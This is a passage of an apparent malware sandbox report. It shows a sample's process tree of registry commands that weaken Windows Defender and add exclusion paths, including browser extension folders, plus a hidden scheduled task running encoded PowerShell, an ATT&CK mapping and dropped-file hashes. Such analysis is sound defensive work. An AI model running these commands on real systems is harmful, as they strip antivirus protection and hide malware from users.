\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gXmHKsugs" /SC once /ST 01:38:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gXmHKsugs"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
2Windows Service
2Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
Modify Registry
6Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
4Disable or Modify Tools
3Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.logFilesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD5d0c46cad6c0778401e21910bd6b56b70
SHA17be418951ea96326aca445b8dfe449b2bfa0dca6
SHA2569600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
SHA512057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
20KB
MD5c5b9be388988231f743410bb895910f5
SHA14e1f2d81db88a6c444766599d50a44b8ef753ef0
SHA25656223b9e2052b7c58fb3989369f8136666dd58541b9a070a2934f6d6b0a512e6
SHA51214916a6668f79abfb3701c153d47b670d2f5bdfb7c2d4c300e0ccd7ae28c859ff5448534de7b6c6c0b1901d4ae319704b4458752ab8f7e7d2ff2b158165745e4
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5408641808e457ab6e23d62e59b767753
SHA14205cfa0dfdfee6be08e8c0041d951dcec1d3946
SHA2563921178878eb416764a6993c4ed81a1f371040dda95c295af535563f168b4258
SHA512e7f3ffc96c7caad3d73c5cec1e60dc6c7d5ed2ced7d265fbd3a402b6f76fed310a087d2d5f0929ab90413615dad1d54fce52875750057cffe36ff010fc6323fb
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
11KB
MD5013d454e9af31adbf5a75550faaada66
SHA170c5c0a8f259a8da28324757189f953fdef7cd7a
SHA25641778b6449fe65d6b4a9e190e725c27d49567b035b68c17884bcef111c4e7020
SHA51223c8a584fa8f5270c40556e9c22427e4136729d90d4e051239d4eeb4ee85f0089a90f075689e3b0008ae9a7b34be022207ad1f23eceb4357add6840787d06aef
-
C:\Users\Admin\AppData\Local\Temp\10a44d6bFilesize
1.4MB
MD5a7b51e7c05df5a2f3c0ca37617e06057
SHA104a139bdbca47353936fb23a7593ef62db4b705b
SHA256c8142fe59b819c95cc3936d6746d4522d042d67b26c55bc4ddc69c6db89348bf
SHA512d7239933502d13240c2884c4e5117cbd8005c919ebdc386ca7361e3f924674dd1ca4b3aeecb027646515ef0ed539bff6f3bacd1194674e2069cda5d9f0eb12bc
-
C:\Users\Admin\AppData\Local\Temp\7zSF9EB.tmp\Install.exeFilesize
6.8MB
MD5e77964e011d8880eae95422769249ca4
SHA18e15d7c4b7812a1da6c91738c7178adf0ff3200f
SHA256f200984380d291051fc4b342641cd34e7560cadf4af41b2e02b8778f14418f50
SHA5128feb3dc4432ec0a87416cbc75110d59efaf6504b4de43090fc90286bd37f98fc0a5fb12878bb33ac2f6cd83252e8dfd67dd96871b4a224199c1f595d33d4cade
-
C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exeFilesize
14.7MB
MD56955715b6ff15bdc153a2431cc395cca
SHA1272e1eec66a1871b300484b2200b507a4abe5420
SHA256a6d40169be9c151e9e6c86fe53d2bac3b4c2ddb41c0b650d961f8328939b4761
SHA512cf82d27d7010be69ab1c288fef9d820905407c8018e2a91f3c39a0eda5e9378e0ff04d077520d556d46d7a9cb0a3a640d15a10ad4090e482be3c83930836019d
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UIxMarketPlugin.dllFilesize
1.6MB
MD58f75e17a8bf3de6e22e77b5586f8a869
SHA1e0bf196cfc19a8772e003b9058bdc211b419b261
SHA2565f10a9fdcac32e93b1cebc365868ee3266f80c2734524b4aa7b6ea54e123f985
SHA5125a1e78613ad90cb0dc855d8a935b136722749889b66d4d8fc0f52438f0a4f4c8c31fbb981e9c6a13ffb2cc2b77fe0747204b63a91c6fff4646eed915387c8d7d
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exeFilesize
2.4MB
MD59fb4770ced09aae3b437c1c6eb6d7334
SHA1fe54b31b0db8665aa5b22bed147e8295afc88a03
SHA256a05b592a971fe5011554013bcfe9a4aaf9cfc633bdd1fe3a8197f213d557b8d3
SHA512140fee6daf23fe8b7e441b3b4de83554af804f00ecedc421907a385ac79a63164bd9f28b4be061c2ea2262755d85e14d3a8e7dc910547837b664d78d93667256
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\relay.dllFilesize
1.5MB
MD57d2f87123e63950159fb2c724e55bdab
SHA1360f304a6311080e1fead8591cb4659a8d135f2d
SHA256b3483bb771948ed8d3f76faaa3606c8ef72e3d2d355eaa652877e21e0651aa9a
SHA5126cb8d27ebcfdf9e472c0a6fff86e6f4ec604b8f0f21c197ba6d5b76b703296c10c8d7c4fb6b082c7e77f5c35d364bcffd76ae54137e2c8944c1ea7bb9e2e5f08
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\somebody.rtfFilesize
24KB
MD5ff36ebcf134c8846aea77446867e5bc6
SHA153fdf2c0bec711e377edb4f97cd147728fb568f6
SHA256e1c256e5a7f17cb64740223084009f37bddccc49b05e881133412057689b04e9
SHA512b07d5065dd39843c8c7bdfccdd8d39f44b1ce9fe100a2fcf7210549ea1d46bcac54080cf91eff0a05360b26233c542daabdbd5d3f096a5bf0e366583ddb29ec1
-
C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\spawn.xmlFilesize
1.3MB
MD52d8de35aa00138b2bfc4fb0fc3d0f58b
SHA128c2d84e01815702c230da456aaa17c7d2519186
SHA25619340e9202db71d8010563c8b8d325cbef5d8448a8df2ad730e74a5a46e36dac
SHA512378116bc71de9f968aaef6ca27944e341a9a825a92831f5834c396160581f5e3656d3b6d1c2a304a65a74c0dd9ca0c50fb0e0016b6174d1fab68909ea1c95128
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z2jygbmt.uvc.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeFilesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
C:\Users\Admin\AppData\Local\Temp\fe93c806Filesize
5.9MB
MD5dcc26dd014bad9eafa9066d3781b615d
SHA1b0cb8621ca58a196ac73bed4e525deacfaf2d836
SHA25669502ffc7e2b8946d420e682cd1421f58a17f489590f761c580ce2a4feb74ae3
SHA5125a7804fdebe09aada86e327899fa7ce6830c26c426d398dd72ef68121c33e59c2572709a725f43d6f1d31c52e7b4ea10b2128d00d530a00ef9db9a8efef204e3
-
C:\Users\Admin\AppData\Local\Temp\upk.0.exeFilesize
352KB
MD55f670810529726f24b8e95eeeae469ed
SHA12d4457181475d1f7c9f7cf6a00ead28c66e15c98
SHA256713472bde66b4a242faa423f0cfe109f3d7ddf9a785428ce5b68f6533666efb4
SHA512135650047ad794843199c482696a8d63f59d8793418dcc6a775c123b1bda7cbb7ae71e2c088ae3383fc21bd71035279e6d649038f0a9b029dc72a8db314ac3fb
-
C:\Users\Admin\Pictures\5C7CoHlC72ZxGrZ2pQr8gLtb.exeFilesize
497KB
MD58883743cc8c45d071722beb18ffdf319
SHA1d3ea49dcd9b1abf68a5cdd49b59da43331bee920
SHA25680866be4716ce3e6e7a081b5b2d96eccfb00f99c7cd68edf2c0683399c0f945d
SHA5129ff681adb16e0f1de8f5570e28fc8d513c3d26a5d742718a6b5c3ba4a21b579a81d1e6a89de20c0151b48bbdc577db4b245c7341615a0ec4ba3f0500ab328bcf
-
C:\Users\Admin\Pictures\AA94amAZhUMMf52xrK6WqgJN.exeFilesize
2.5MB
MD5749cb9cb3ce89a03fdd97a9aaf96e895
SHA173ecd478ace66e1dfb7aeed8ed061af48214a46f
SHA25685aeb0eca144912f0713ac4e8392e2645a91bb4ba8e2ffa55e5bf834665170af
